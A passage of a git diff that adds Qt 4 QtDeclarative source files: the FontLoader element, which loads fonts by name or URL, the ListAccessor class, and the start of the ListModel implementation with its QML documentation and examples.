+ req.setAttribute(QNetworkRequest::HttpPipeliningAllowedAttribute, true);
+ reply = manager->get(req);
+ QObject::connect(reply, SIGNAL(finished()), this, SLOT(replyFinished()));
+}
+
+void QDeclarativeFontObject::replyFinished()
+{
+ if (reply) {
+ redirectCount++;
+ if (redirectCount < FONTLOADER_MAXIMUM_REDIRECT_RECURSION) {
+ QVariant redirect = reply->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (redirect.isValid()) {
+ QUrl url = reply->url().resolved(redirect.toUrl());
+ QNetworkAccessManager *manager = reply->manager();
+ reply->deleteLater();
+ reply = 0;
+ download(url, manager);
+ return;
+ }
+ }
+ redirectCount = 0;
+
+ if (!reply->error()) {
+ id = QFontDatabase::addApplicationFontFromData(reply->readAll());
+ if (id != -1)
+ emit fontDownloaded(QFontDatabase::applicationFontFamilies(id).at(0), QDeclarativeFontLoader::Ready);
+ else
+ emit fontDownloaded(QString(), QDeclarativeFontLoader::Error);
+ } else {
+ emit fontDownloaded(QString(), QDeclarativeFontLoader::Error);
+ }
+ reply->deleteLater();
+ reply = 0;
+ }
+}
+
+
+class QDeclarativeFontLoaderPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeFontLoader)
+
+public:
+ QDeclarativeFontLoaderPrivate() : status(QDeclarativeFontLoader::Null) {}
+
+ QUrl url;
+ QString name;
+ QDeclarativeFontLoader::Status status;
+ static QHash<QUrl, QDeclarativeFontObject*> fonts;
+};
+
+QHash<QUrl, QDeclarativeFontObject*> QDeclarativeFontLoaderPrivate::fonts;
+
+/*!
+ \qmlclass FontLoader QDeclarativeFontLoader
+ \ingroup qml-utility-elements
+ \since 4.7
+ \brief The FontLoader element allows fonts to be loaded by name or URL.
+
+ The FontLoader element is used to load fonts by name or URL.
+
+ The \l status indicates when the font has been loaded, which is useful
+ for fonts loaded from remote sources.
+
+ For example:
+ \qml
+ import QtQuick 1.0
+
+ Column {
+ FontLoader { id: fixedFont; name: "Courier" }
+ FontLoader { id: webFont; source: "http://www.mysite.com/myfont.ttf" }
+
+ Text { text: "Fixed-size font"; font.family: fixedFont.name }
+ Text { text: "Fancy font"; font.family: webFont.name }
+ }
+ \endqml
+
+ \sa {declarative/text/fonts}{Fonts example}
+*/
+QDeclarativeFontLoader::QDeclarativeFontLoader(QObject *parent)
+ : QObject(*(new QDeclarativeFontLoaderPrivate), parent)
+{
+}
+
+QDeclarativeFontLoader::~QDeclarativeFontLoader()
+{
+}
+
+/*!
+ \qmlproperty url FontLoader::source
+ The url of the font to load.
+*/
+QUrl QDeclarativeFontLoader::source() const
+{
+ Q_D(const QDeclarativeFontLoader);
+ return d->url;
+}
+
+void QDeclarativeFontLoader::setSource(const QUrl &url)
+{
+ Q_D(QDeclarativeFontLoader);
+ if (url == d->url)
+ return;
+ d->url = qmlContext(this)->resolvedUrl(url);
+ emit sourceChanged();
+
+#ifndef QT_NO_LOCALFILE_OPTIMIZED_QML
+ QString localFile = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url);
+ if (!localFile.isEmpty()) {
+ if (!d->fonts.contains(d->url)) {
+ int id = QFontDatabase::addApplicationFont(localFile);
+ if (id != -1) {
+ updateFontInfo(QFontDatabase::applicationFontFamilies(id).at(0), Ready);
+ QDeclarativeFontObject *fo = new QDeclarativeFontObject(id);
+ d->fonts[d->url] = fo;
+ } else {
+ updateFontInfo(QString(), Error);
+ }
+ } else {
+ updateFontInfo(QFontDatabase::applicationFontFamilies(d->fonts[d->url]->id).at(0), Ready);
+ }
+ } else
+#endif
+ {
+ if (!d->fonts.contains(d->url)) {
+ QDeclarativeFontObject *fo = new QDeclarativeFontObject;
+ d->fonts[d->url] = fo;
+ fo->download(d->url, qmlEngine(this)->networkAccessManager());
+ d->status = Loading;
+ emit statusChanged();
+ QObject::connect(fo, SIGNAL(fontDownloaded(QString,QDeclarativeFontLoader::Status)),
+ this, SLOT(updateFontInfo(QString,QDeclarativeFontLoader::Status)));
+ } else {
+ QDeclarativeFontObject *fo = d->fonts[d->url];
+ if (fo->id == -1) {
+ d->status = Loading;
+ emit statusChanged();
+ QObject::connect(fo, SIGNAL(fontDownloaded(QString,QDeclarativeFontLoader::Status)),
+ this, SLOT(updateFontInfo(QString,QDeclarativeFontLoader::Status)));
+ }
+ else
+ updateFontInfo(QFontDatabase::applicationFontFamilies(fo->id).at(0), Ready);
+ }
+ }
+}
+
+void QDeclarativeFontLoader::updateFontInfo(const QString& name, QDeclarativeFontLoader::Status status)
+{
+ Q_D(QDeclarativeFontLoader);
+
+ if (name != d->name) {
+ d->name = name;
+ emit nameChanged();
+ }
+ if (status != d->status) {
+ if (status == Error)
+ qmlInfo(this) << "Cannot load font: \"" << d->url.toString() << "\"";
+ d->status = status;
+ emit statusChanged();
+ }
+}
+
+/*!
+ \qmlproperty string FontLoader::name
+
+ This property holds the name of the font family.
+ It is set automatically when a font is loaded using the \c url property.
+
+ Use this to set the \c font.family property of a \c Text item.
+
+ Example:
+ \qml
+ Item {
+ width: 200; height: 50
+
+ FontLoader {
+ id: webFont
+ source: "http://www.mysite.com/myfont.ttf"
+ }
+ Text {
+ text: "Fancy font"
+ font.family: webFont.name
+ }
+ }
+ \endqml
+*/
+QString QDeclarativeFontLoader::name() const
+{
+ Q_D(const QDeclarativeFontLoader);
+ return d->name;
+}
+
+void QDeclarativeFontLoader::setName(const QString &name)
+{
+ Q_D(QDeclarativeFontLoader);
+ if (d->name == name)
+ return;
+ d->name = name;
+ emit nameChanged();
+ d->status = Ready;
+ emit statusChanged();
+}
+
+/*!
+ \qmlproperty enumeration FontLoader::status
+
+ This property holds the status of font loading. It can be one of:
+ \list
+ \o FontLoader.Null - no font has been set
+ \o FontLoader.Ready - the font has been loaded
+ \o FontLoader.Loading - the font is currently being loaded
+ \o FontLoader.Error - an error occurred while loading the font
+ \endlist
+
+ Use this status to provide an update or respond to the status change in some way.
+ For example, you could:
+
+ \list
+ \o Trigger a state change:
+ \qml
+ State { name: 'loaded'; when: loader.status == FontLoader.Ready }
+ \endqml
+
+ \o Implement an \c onStatusChanged signal handler:
+ \qml
+ FontLoader {
+ id: loader
+ onStatusChanged: if (loader.status == FontLoader.Ready) console.log('Loaded')
+ }
+ \endqml
+
+ \o Bind to the status value:
+ \qml
+ Text { text: loader.status == FontLoader.Ready ? 'Loaded' : 'Not loaded' }
+ \endqml
+ \endlist
+*/
+QDeclarativeFontLoader::Status QDeclarativeFontLoader::status() const
+{
+ Q_D(const QDeclarativeFontLoader);
+ return d->status;
+}
+
+QT_END_NAMESPACE
+
+#include <qdeclarativefontloader.moc>
diff --git a/src/declarative/util/qdeclarativefontloader_p.h b/src/declarative/util/qdeclarativefontloader_p.h
new file mode 100644
index 00000000..23927224
--- /dev/null
+++ b/src/declarative/util/qdeclarativefontloader_p.h
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEFONTLOADER_H
+#define QDECLARATIVEFONTLOADER_H
+
+#include <qdeclarative.h>
+
+#include <QtCore/qobject.h>
+#include <QtCore/qurl.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeFontLoaderPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeFontLoader : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeFontLoader)
+ Q_ENUMS(Status)
+
+ Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+ Q_PROPERTY(Status status READ status NOTIFY statusChanged)
+
+public:
+ enum Status { Null = 0, Ready, Loading, Error };
+
+ QDeclarativeFontLoader(QObject *parent = 0);
+ ~QDeclarativeFontLoader();
+
+ QUrl source() const;
+ void setSource(const QUrl &url);
+
+ QString name() const;
+ void setName(const QString &name);
+
+ Status status() const;
+
+private Q_SLOTS:
+ void updateFontInfo(const QString&, QDeclarativeFontLoader::Status);
+
+Q_SIGNALS:
+ void sourceChanged();
+ void nameChanged();
+ void statusChanged();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeFontLoader)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEFONTLOADER_H
+
diff --git a/src/declarative/util/qdeclarativelistaccessor.cpp b/src/declarative/util/qdeclarativelistaccessor.cpp
new file mode 100644
index 00000000..5a0e2fde
--- /dev/null
+++ b/src/declarative/util/qdeclarativelistaccessor.cpp
@@ -0,0 +1,138 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativelistaccessor_p.h"
+
+#include <qdeclarativemetatype_p.h>
+
+#include <QtCore/qstringlist.h>
+#include <QtCore/qdebug.h>
+
+// ### Remove me
+#include <qdeclarativeengine_p.h>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeListAccessor::QDeclarativeListAccessor()
+: m_type(Invalid)
+{
+}
+
+QDeclarativeListAccessor::~QDeclarativeListAccessor()
+{
+}
+
+QVariant QDeclarativeListAccessor::list() const
+{
+ return d;
+}
+
+void QDeclarativeListAccessor::setList(const QVariant &v, QDeclarativeEngine *engine)
+{
+ d = v;
+
+ QDeclarativeEnginePrivate *enginePrivate = engine?QDeclarativeEnginePrivate::get(engine):0;
+
+ if (!d.isValid()) {
+ m_type = Invalid;
+ } else if (d.userType() == QVariant::StringList) {
+ m_type = StringList;
+ } else if (d.userType() == QMetaType::QVariantList) {
+ m_type = VariantList;
+ } else if (d.canConvert(QVariant::Int)) {
+ m_type = Integer;
+ } else if ((!enginePrivate && QDeclarativeMetaType::isQObject(d.userType())) ||
+ (enginePrivate && enginePrivate->isQObject(d.userType()))) {
+ QObject *data = enginePrivate?enginePrivate->toQObject(v):QDeclarativeMetaType::toQObject(v);
+ d = QVariant::fromValue(data);
+ m_type = Instance;
+ } else if (d.userType() == qMetaTypeId<QDeclarativeListReference>()) {
+ m_type = ListProperty;
+ } else {
+ m_type = Instance;
+ }
+}
+
+int QDeclarativeListAccessor::count() const
+{
+ switch(m_type) {
+ case StringList:
+ return qvariant_cast<QStringList>(d).count();
+ case VariantList:
+ return qvariant_cast<QVariantList>(d).count();
+ case ListProperty:
+ return ((QDeclarativeListReference *)d.constData())->count();
+ case Instance:
+ return 1;
+ case Integer:
+ return d.toInt();
+ default:
+ case Invalid:
+ return 0;
+ }
+}
+
+QVariant QDeclarativeListAccessor::at(int idx) const
+{
+ Q_ASSERT(idx >= 0 && idx < count());
+ switch(m_type) {
+ case StringList:
+ return QVariant::fromValue(qvariant_cast<QStringList>(d).at(idx));
+ case VariantList:
+ return qvariant_cast<QVariantList>(d).at(idx);
+ case ListProperty:
+ return QVariant::fromValue(((QDeclarativeListReference *)d.constData())->at(idx));
+ case Instance:
+ return d;
+ case Integer:
+ return QVariant(idx);
+ default:
+ case Invalid:
+ return QVariant();
+ }
+}
+
+bool QDeclarativeListAccessor::isValid() const
+{
+ return m_type != Invalid;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativelistaccessor_p.h b/src/declarative/util/qdeclarativelistaccessor_p.h
new file mode 100644
index 00000000..8686a9d2
--- /dev/null
+++ b/src/declarative/util/qdeclarativelistaccessor_p.h
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELISTACCESSOR_H
+#define QDECLARATIVELISTACCESSOR_H
+
+#include <QtCore/QVariant>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeEngine;
+class Q_AUTOTEST_EXPORT QDeclarativeListAccessor
+{
+public:
+ QDeclarativeListAccessor();
+ ~QDeclarativeListAccessor();
+
+ QVariant list() const;
+ void setList(const QVariant &, QDeclarativeEngine * = 0);
+
+ bool isValid() const;
+
+ int count() const;
+ QVariant at(int) const;
+
+ enum Type { Invalid, StringList, VariantList, ListProperty, Instance, Integer };
+ Type type() const { return m_type; }
+
+private:
+ Type m_type;
+ QVariant d;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVELISTACCESSOR_H
diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp
new file mode 100644
index 00000000..b87f9144
--- /dev/null
+++ b/src/declarative/util/qdeclarativelistmodel.cpp
@@ -0,0 +1,1628 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativelistmodel_p_p.h"
+#include "private/qdeclarativelistmodelworkeragent_p.h"
+#include "private/qdeclarativeopenmetaobject_p.h"
+
+#include <qdeclarativecustomparser_p.h>
+#include <qdeclarativeparser_p.h>
+#include <qdeclarativeengine_p.h>
+#include <qdeclarativecontext.h>
+#include <qdeclarativeinfo.h>
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qstack.h>
+#include <QXmlStreamReader>
+#include <QtScript/qscriptvalueiterator.h>
+
+Q_DECLARE_METATYPE(QListModelInterface *)
+
+QT_BEGIN_NAMESPACE
+
+template<typename T>
+void qdeclarativelistmodel_move(int from, int to, int n, T *items)
+{
+ if (n == 1) {
+ items->move(from, to);
+ } else {
+ T replaced;
+ int i=0;
+ typename T::ConstIterator it=items->begin(); it += from+n;
+ for (; i<to-from; ++i,++it)
+ replaced.append(*it);
+ i=0;
+ it=items->begin(); it += from;
+ for (; i<n; ++i,++it)
+ replaced.append(*it);
+ typename T::ConstIterator f=replaced.begin();
+ typename T::Iterator t=items->begin(); t += from;
+ for (; f != replaced.end(); ++f, ++t)
+ *t = *f;
+ }
+}
+
+QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListModelData::instructions() const
+{
+ return (QDeclarativeListModelParser::ListInstruction *)((char *)this + sizeof(ListModelData));
+}
+
+/*!
+ \qmlclass ListModel QDeclarativeListModel
+ \ingroup qml-working-with-data
+ \since 4.7
+ \brief The ListModel element defines a free-form list data source.
+
+ The ListModel is a simple container of ListElement definitions, each containing data roles.
+ The contents can be defined dynamically, or explicitly in QML.
+
+ The number of elements in the model can be obtained from its \l count property.
+ A number of familiar methods are also provided to manipulate the contents of the
+ model, including append(), insert(), move(), remove() and set(). These methods
+ accept dictionaries as their arguments; these are translated to ListElement objects
+ by the model.
+
+ Elements can be manipulated via the model using the setProperty() method, which
+ allows the roles of the specified element to be set and changed.
+
+ \section1 Example Usage
+
+ The following example shows a ListModel containing three elements, with the roles
+ "name" and "cost".
+
+ \div {class="float-right"}
+ \inlineimage listmodel.png
+ \enddiv
+
+ \snippet doc/src/snippets/declarative/listmodel.qml 0
+
+ \clearfloat
+ Roles (properties) in each element must begin with a lower-case letter and
+ should be common to all elements in a model. The ListElement documentation
+ provides more guidelines for how elements should be defined.
+
+ Since the example model contains an \c id property, it can be referenced
+ by views, such as the ListView in this example:
+
+ \snippet doc/src/snippets/declarative/listmodel-simple.qml 0
+ \dots 8
+ \snippet doc/src/snippets/declarative/listmodel-simple.qml 1
+
+ It is possible for roles to contain list data. In the following example we
+ create a list of fruit attributes:
+
+ \snippet doc/src/snippets/declarative/listmodel-nested.qml model
+
+ The delegate displays all the fruit attributes:
+
+ \div {class="float-right"}
+ \inlineimage listmodel-nested.png
+ \enddiv
+
+ \snippet doc/src/snippets/declarative/listmodel-nested.qml delegate
+
+ \clearfloat
+ \section1 Modifying List Models
+
+ The content of a ListModel may be created and modified using the clear(),
+ append(), set(), insert() and setProperty() methods. For example:
+
+ \snippet doc/src/snippets/declarative/listmodel-modify.qml delegate
+
+ Note that when creating content dynamically the set of available properties
+ cannot be changed once set. Whatever properties are first added to the model
+ are the only permitted properties in the model.
+
+ \section1 Using Threaded List Models with WorkerScript
+
+ ListModel can be used together with WorkerScript access a list model
+ from multiple threads. This is useful if list modifications are
+ synchronous and take some time: the list operations can be moved to a
+ different thread to avoid blocking of the main GUI thread.
+
+ Here is an example that uses WorkerScript to periodically append the
+ current time to a list model:
+
+ \snippet examples/declarative/threading/threadedlistmodel/timedisplay.qml 0
+
+ The included file, \tt dataloader.js, looks like this:
+
+ \snippet examples/declarative/threading/threadedlistmodel/dataloader.js 0
+
+ The timer in the main example sends messages to the worker script by calling
+ \l WorkerScript::sendMessage(). When this message is received,
+ \l{WorkerScript::onMessage}{WorkerScript.onMessage()} is invoked in \c dataloader.js,
+ which appends the current time to the list model.
+
+ Note the call to sync() from the \l{WorkerScript::onMessage}{WorkerScript.onMessage()}
+ handler. You must call sync() or else the changes made to the list from the external
+ thread will not be reflected in the list model in the main thread.
+
+ \section1 Restrictions
+
+ If a list model is to be accessed from a WorkerScript, it cannot
+ contain list-type data. So, the following model cannot be used from a WorkerScript
+ because of the list contained in the "attributes" property:
+
+ \code
+ ListModel {
+ id: fruitModel
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ }
+ \endcode
+
+ In addition, the WorkerScript cannot add list-type data to the model.
+
+ \sa {qmlmodels}{Data Models}, {declarative/threading/threadedlistmodel}{Threaded ListModel example}, QtDeclarative
+*/
+
+
+/*
+ A ListModel internally uses either a NestedListModel or FlatListModel.
+
+ A NestedListModel can contain lists of ListElements (which
+ when retrieved from get() is accessible as a list model within the list
+ model) whereas a FlatListModel cannot.
+
+ ListModel uses a NestedListModel to begin with, and if the model is later
+ used from a WorkerScript, it changes to use a FlatListModel instead. This
+ is because ModelNode (which abstracts the nested list model data) needs
+ access to the declarative engine and script engine, which cannot be
+ safely used from outside of the main thread.
+*/
+
+QDeclarativeListModel::QDeclarativeListModel(QObject *parent)
+: QListModelInterface(parent), m_agent(0), m_nested(new NestedListModel(this)), m_flat(0)
+{
+}
+
+QDeclarativeListModel::QDeclarativeListModel(const QDeclarativeListModel *orig, QDeclarativeListModelWorkerAgent *parent)
+: QListModelInterface(parent), m_agent(0), m_nested(0), m_flat(0)
+{
+ m_flat = new FlatListModel(this);
+ m_flat->m_parentAgent = parent;
+
+ if (orig->m_flat) {
+ m_flat->m_roles = orig->m_flat->m_roles;
+ m_flat->m_strings = orig->m_flat->m_strings;
+ m_flat->m_values = orig->m_flat->m_values;
+
+ m_flat->m_nodeData.reserve(m_flat->m_values.count());
+ for (int i=0; i<m_flat->m_values.count(); i++)
+ m_flat->m_nodeData << 0;
+ }
+}
+
+QDeclarativeListModel::~QDeclarativeListModel()
+{
+ if (m_agent)
+ m_agent->release();
+
+ delete m_nested;
+ delete m_flat;
+}
+
+bool QDeclarativeListModel::flatten()
+{
+ if (m_flat)
+ return true;
+
+ QList<int> roles = m_nested->roles();
+
+ QList<QHash<int, QVariant> > values;
+ bool hasNested = false;
+ for (int i=0; i<m_nested->count(); i++) {
+ values.append(m_nested->data(i, roles, &hasNested));
+ if (hasNested)
+ return false;
+ }
+
+ FlatListModel *flat = new FlatListModel(this);
+ flat->m_values = values;
+
+ for (int i=0; i<roles.count(); i++) {
+ QString s = m_nested->toString(roles[i]);
+ flat->m_roles.insert(roles[i], s);
+ flat->m_strings.insert(s, roles[i]);
+ }
+
+ flat->m_nodeData.reserve(flat->m_values.count());
+ for (int i=0; i<flat->m_values.count(); i++)
+ flat->m_nodeData << 0;
+
+ m_flat = flat;
+ delete m_nested;
+ m_nested = 0;
+ return true;
+}
+
+bool QDeclarativeListModel::inWorkerThread() const
+{
+ return m_flat && m_flat->m_parentAgent;
+}
+
+QDeclarativeListModelWorkerAgent *QDeclarativeListModel::agent()
+{
+ if (m_agent)
+ return m_agent;
+
+ if (!flatten()) {
+ qmlInfo(this) << "List contains list-type data and cannot be used from a worker script";
+ return 0;
+ }
+
+ m_agent = new QDeclarativeListModelWorkerAgent(this);
+ return m_agent;
+}
+
+QList<int> QDeclarativeListModel::roles() const
+{
+ return m_flat ? m_flat->roles() : m_nested->roles();
+}
+
+QString QDeclarativeListModel::toString(int role) const
+{
+ return m_flat ? m_flat->toString(role) : m_nested->toString(role);
+}
+
+QVariant QDeclarativeListModel::data(int index, int role) const
+{
+ if (index >= count() || index < 0)
+ return QVariant();
+
+ return m_flat ? m_flat->data(index, role) : m_nested->data(index, role);
+}
+
+/*!
+ \qmlproperty int ListModel::count
+ The number of data entries in the model.
+*/
+int QDeclarativeListModel::count() const
+{
+ return m_flat ? m_flat->count() : m_nested->count();
+}
+
+/*!
+ \qmlmethod ListModel::clear()
+
+ Deletes all content from the model.
+
+ \sa append() remove()
+*/
+void QDeclarativeListModel::clear()
+{
+ int cleared = count();
+ if (m_flat)
+ m_flat->clear();
+ else
+ m_nested->clear();
+
+ if (!inWorkerThread()) {
+ emit itemsRemoved(0, cleared);
+ emit countChanged();
+ }
+}
+
+QDeclarativeListModel *ModelNode::model(const NestedListModel *model)
+{
+ if (!modelCache) {
+ modelCache = new QDeclarativeListModel;
+ QDeclarativeEngine::setContextForObject(modelCache,QDeclarativeEngine::contextForObject(model->m_listModel));
+ modelCache->m_nested->_root = this; // ListModel defaults to nestable model
+
+ for (int i=0; i<values.count(); ++i) {
+ ModelNode *subNode = qvariant_cast<ModelNode *>(values.at(i));
+ if (subNode)
+ subNode->m_model = modelCache->m_nested;
+ }
+ }
+ return modelCache;
+}
+
+ModelObject *ModelNode::object(const NestedListModel *model)
+{
+ if (!objectCache) {
+ objectCache = new ModelObject(this,
+ const_cast<NestedListModel*>(model),
+ QDeclarativeEnginePrivate::getScriptEngine(qmlEngine(model->m_listModel)));
+ QHash<QString, ModelNode *>::iterator it;
+ for (it = properties.begin(); it != properties.end(); ++it) {
+ objectCache->setValue(it.key().toUtf8(), model->valueForNode(*it));
+ }
+ objectCache->setNodeUpdatesEnabled(true);
+ }
+ return objectCache;
+}
+
+/*!
+ \qmlmethod ListModel::remove(int index)
+
+ Deletes the content at \a index from the model.
+
+ \sa clear()
+*/
+void QDeclarativeListModel::remove(int index)
+{
+ if (index < 0 || index >= count()) {
+ qmlInfo(this) << tr("remove: index %1 out of range").arg(index);
+ return;
+ }
+
+ if (m_flat)
+ m_flat->remove(index);
+ else
+ m_nested->remove(index);
+
+ if (!inWorkerThread()) {
+ emit itemsRemoved(index, 1);
+ emit countChanged();
+ }
+}
+
+/*!
+ \qmlmethod ListModel::insert(int index, jsobject dict)
+
+ Adds a new item to the list model at position \a index, with the
+ values in \a dict.
+
+ \code
+ fruitModel.insert(2, {"cost": 5.95, "name":"Pizza"})
+ \endcode
+
+ The \a index must be to an existing item in the list, or one past
+ the end of the list (equivalent to append).
+
+ \sa set() append()
+*/
+void QDeclarativeListModel::insert(int index, const QScriptValue& valuemap)
+{
+ if (!valuemap.isObject() || valuemap.isArray()) {
+ qmlInfo(this) << tr("insert: value is not an object");
+ return;
+ }
+
+ if (index < 0 || index > count()) {
+ qmlInfo(this) << tr("insert: index %1 out of range").arg(index);
+ return;
+ }
+
+ bool ok = m_flat ? m_flat->insert(index, valuemap) : m_nested->insert(index, valuemap);
+ if (ok && !inWorkerThread()) {
+ emit itemsInserted(index, 1);
+ emit countChanged();
+ }
+}
+
+/*!
+ \qmlmethod ListModel::move(int from, int to, int n)
+
+ Moves \a n items \a from one position \a to another.
+
+ The from and to ranges must exist; for example, to move the first 3 items
+ to the end of the list:
+
+ \code
+ fruitModel.move(0, fruitModel.count - 3, 3)
+ \endcode
+
+ \sa append()
+*/
+void QDeclarativeListModel::move(int from, int to, int n)
+{
+ if (n==0 || from==to)
+ return;
+ if (!canMove(from, to, n)) {
+ qmlInfo(this) << tr("move: out of range");
+ return;
+ }
+
+ int origfrom = from;
+ int origto = to;
+ int orign = n;
+ if (from > to) {
+ // Only move forwards - flip if backwards moving
+ int tfrom = from;
+ int tto = to;
+ from = tto;
+ to = tto+n;
+ n = tfrom-tto;
+ }
+
+ if (m_flat)
+ m_flat->move(from, to, n);
+ else
+ m_nested->move(from, to, n);
+
+ if (!inWorkerThread())
+ emit itemsMoved(origfrom, origto, orign);
+}
+
+/*!
+ \qmlmethod ListModel::append(jsobject dict)
+
+ Adds a new item to the end of the list model, with the
+ values in \a dict.
+
+ \code
+ fruitModel.append({"cost": 5.95, "name":"Pizza"})
+ \endcode
+
+ \sa set() remove()
+*/
+void QDeclarativeListModel::append(const QScriptValue& valuemap)
+{
+ if (!valuemap.isObject() || valuemap.isArray()) {
+ qmlInfo(this) << tr("append: value is not an object");
+ return;
+ }
+
+ insert(count(), valuemap);
+}
+
+/*!
+ \qmlmethod object ListModel::get(int index)
+
+ Returns the item at \a index in the list model. This allows the item
+ data to be accessed or modified from JavaScript:
+
+ \code
+ Component.onCompleted: {
+ fruitModel.append({"cost": 5.95, "name":"Jackfruit"});
+ console.log(fruitModel.get(0).cost);
+ fruitModel.get(0).cost = 10.95;
+ }
+ \endcode
+
